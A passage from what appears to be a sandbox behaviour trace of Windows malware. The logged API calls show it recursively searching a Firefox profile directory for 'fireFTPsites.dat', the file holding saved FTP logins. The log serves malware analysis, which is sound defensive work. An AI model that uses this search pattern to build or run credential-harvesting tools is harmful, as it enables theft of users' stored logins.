IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.043] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0048.043] LocalFree (hMem=0x746ad0) returned 0x0 [0048.043] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned 94 [0048.043] lstrlenA (lpString="\\*.*") returned 4 [0048.043] LocalAlloc (uFlags=0x40, uBytes=0xe3) returned 0x74d998 [0048.043] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0048.043] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*" [0048.043] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*", lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 0x72dd90 [0048.043] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.043] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 1 [0048.043] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.043] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.043] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 0 [0048.043] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.043] LocalFree (hMem=0x74d998) returned 0x0 [0048.043] LocalFree (hMem=0x74f980) returned 0x0 [0048.043] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.043] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0048.043] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.043] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0048.044] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0048.044] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.044] lstrlenA (lpString="\\") returned 1 [0048.044] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.044] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.044] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.044] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.044] lstrlenA (lpString="indexedDB") returned 9 [0048.044] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74f980 [0048.044] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.044] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.044] LocalFree (hMem=0x746ad0) returned 0x0 [0048.044] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0048.044] lstrlenA (lpString="\\*.*") returned 4 [0048.044] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x746ad0 [0048.044] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.044] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*" [0048.044] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*", lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 0x72dd90 [0048.044] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.044] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 1 [0048.044] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.044] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.044] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 1 [0048.044] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0048.044] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0048.044] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0048.044] lstrlenA (lpString="\\") returned 1 [0048.044] LocalAlloc (uFlags=0x40, uBytes=0xdd) returned 0x74fa68 [0048.044] lstrcpyA (in: lpString1=0x74fa68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.044] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0048.044] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned 92 [0048.044] lstrlenA (lpString="moz-safe-about+home") returned 19 [0048.044] LocalAlloc (uFlags=0x40, uBytes=0xf0) returned 0x76e840 [0048.044] lstrcpyA (in: lpString1=0x76e840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0048.044] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.044] LocalFree (hMem=0x74fa68) returned 0x0 [0048.044] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0048.044] lstrlenA (lpString="\\*.*") returned 4 [0048.044] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x74fa68 [0048.044] lstrcpyA (in: lpString1=0x74fa68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.044] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*" [0048.044] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0xef544 | out: lpFindFileData=0xef544) returned 0x72ddd0 [0048.045] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.045] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef544 | out: lpFindFileData=0xef544) returned 1 [0048.045] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.045] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.045] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef544 | out: lpFindFileData=0xef544) returned 1 [0048.045] StrStrIA (lpFirst=".metadata", lpSrch="fireFTPsites.dat") returned 0x0 [0048.045] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef544 | out: lpFindFileData=0xef544) returned 1 [0048.045] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0048.045] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0048.045] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0048.045] lstrlenA (lpString="\\") returned 1 [0048.045] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x74fdd0 [0048.045] lstrcpyA (in: lpString1=0x74fdd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.045] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0048.045] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned 112 [0048.045] lstrlenA (lpString="idb") returned 3 [0048.045] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x74fed0 [0048.045] lstrcpyA (in: lpString1=0x74fed0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0048.045] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.045] LocalFree (hMem=0x74fdd0) returned 0x0 [0048.045] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0048.045] lstrlenA (lpString="\\*.*") returned 4 [0048.045] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x74fdd0 [0048.045] lstrcpyA (in: lpString1=0x74fdd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.045] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0048.045] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0xef3d8 | out: lpFindFileData=0xef3d8) returned 0x72db50 [0048.045] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.045] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef3d8 | out: lpFindFileData=0xef3d8) returned 1 [0048.045] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.045] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.045] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef3d8 | out: lpFindFileData=0xef3d8) returned 1 [0048.045] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0048.045] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0048.045] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0048.045] lstrlenA (lpString="\\") returned 1 [0048.045] LocalAlloc (uFlags=0x40, uBytes=0xf5) returned 0x74ccd0 [0048.045] lstrcpyA (in: lpString1=0x74ccd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.045] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0048.045] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 116 [0048.045] lstrlenA (lpString="818200132aebmoouht") returned 18 [0048.045] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x74cdd0 [0048.045] lstrcpyA (in: lpString1=0x74cdd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0048.045] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0048.045] LocalFree (hMem=0x74ccd0) returned 0x0 [0048.045] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 134 [0048.045] lstrlenA (lpString="\\*.*") returned 4 [0048.045] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x74cee0 [0048.045] lstrcpyA (in: lpString1=0x74cee0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0048.045] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0048.045] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0xef26c | out: lpFindFileData=0xef26c) returned 0x72db90 [0048.046] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.046] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef26c | out: lpFindFileData=0xef26c) returned 1 [0048.046] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.046] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.046] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef26c | out: lpFindFileData=0xef26c) returned 0 [0048.046] FindClose (in: hFindFile=0x72db90 | out: hFindFile=0x72db90) returned 1 [0048.046] LocalFree (hMem=0x74cee0) returned 0x0 [0048.046] LocalFree (hMem=0x74cdd0) returned 0x0 [0048.046] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef3d8 | out: lpFindFileData=0xef3d8) returned 1 [0048.046] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0048.046] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef3d8 | out: lpFindFileData=0xef3d8) returned 0 [0048.046] FindClose (in: hFindFile=0x72db50 | out: hFindFile=0x72db50) returned 1 [0048.046] LocalFree (hMem=0x74fdd0) returned 0x0 [0048.046] LocalFree (hMem=0x74fed0) returned 0x0 [0048.046] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef544 | out: lpFindFileData=0xef544) returned 0 [0048.046] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0048.046] LocalFree (hMem=0x74fa68) returned 0x0 [0048.046] LocalFree (hMem=0x76e840) returned 0x0 [0048.046] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 0 [0048.046] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.046] LocalFree (hMem=0x746ad0) returned 0x0 [0048.046] LocalFree (hMem=0x74f980) returned 0x0 [0048.046] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.046] StrStrIA (lpFirst="key3.db", lpSrch="fireFTPsites.dat") returned 0x0 [0048.046] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.046] StrStrIA (lpFirst="localstore.rdf", lpSrch="fireFTPsites.dat") returned 0x0 [0048.046] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.046] StrStrIA (lpFirst="marionette.log", lpSrch="fireFTPsites.dat") returned 0x0 [0048.046] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.046] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="fireFTPsites.dat") returned 0x0 [0048.046] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.046] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0048.046] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0048.046] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.046] lstrlenA (lpString="\\") returned 1 [0048.046] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.046] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.046] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.046] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.046] lstrlenA (lpString="minidumps") returned 9 [0048.046] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74f980 [0048.046] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.046] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\aDU0VK 